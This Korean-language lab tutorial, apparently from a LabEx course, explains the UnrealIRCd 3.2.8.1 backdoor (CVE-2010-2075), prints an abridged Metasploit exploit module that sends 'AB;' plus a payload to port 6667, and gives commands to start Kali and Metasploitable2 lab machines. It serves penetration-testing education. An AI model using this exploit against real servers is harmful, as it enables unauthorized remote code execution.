Unreal IRCd 취약점 이해 및 실험 환경 시작
Unreal IRCd 3.2.8.1 버전에는 원격 공격자가 영향을 받는 시스템에서 임의 코드를 실행할 수 있도록 하는 백도어 취약점 (CVE-2010-2075) 이 포함되어 있습니다. 이 취약점은 공격자가 악용할 수 있는 외부 악성 코드를 포함하는 DEBUG3_DOLOG_SYSTEM 매크로에 존재합니다.
관련 정보:
이 취약점을 악용하기 위한 Metasploit 모듈:
Metasploit 모듈에 대한 간략한 개요는 다음과 같습니다.
## Require necessary modules
require 'msf/core'
## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
## Module initialization with details like name, description, author, references, etc.
def initialize(info = {})
super(update_info(info,
'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
},
## ... (omitted for brevity)
))
## Set default options
register_options(
[
Opt::RPORT(6667)
], self.class)
end
## Exploit method
def exploit
## Connect to the remote service
connect
## Print banner information
print_status("Connected to #{rhost}:#{rport}...")
banner = sock.get_once(-1, 30)
banner.to_s.split("\n").each do |line|
print_line(" #{line}")
end
## Send the backdoor command
print_status("Sending backdoor command...")
sock.put("AB;" + payload.encoded + "\n")
## Wait for session creation or timeout
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
handler()
end
disconnect
end
end
이제 실험을 위해 공격 머신 (Kali Linux 컨테이너) 과 대상 머신 (Metasploitable2 가상 머신) 을 시작합니다.
- LabEx 호스트 머신에서 xfce 터미널을 열고 다음 명령을 실행하여 Metasploitable2 대상을 시작합니다.
sudo virsh start Metasploitable2
대상 머신이 시작될 때까지 기다립니다. 1~3 분 정도 걸릴 수 있습니다.
- 대상 머신에 대한 연결을 ping 하여 테스트합니다.
ping 192.168.122.102
Ctrl+C를 눌러 ping 을 중지합니다.
- Kali Linux 컨테이너를 시작하고 다음을 실행하여 bash 환경에 들어갑니다.
docker run -ti --network host b5b709a49cd5 bash
- Kali 컨테이너 내부에서 대상 머신에 대한 네트워크 연결을 테스트합니다.
ping 192.168.122.102
Ctrl+C를 눌러 ping 을 중지합니다.
이제 공격 머신과 대상 머신이 모두 실행 중이며 침투 테스트를 시작할 수 있습니다.
참고: 실수로 현재 bash 를 종료하면 Kali 컨테이너가 자동으로 중지됩니다. 호스트에서 docker run -ti --network host b5b709a49cd5 bash를 다시 실행하여 새 Kali 컨테이너를 시작하고 bash 에 들어가 실험을 계속할 수 있습니다.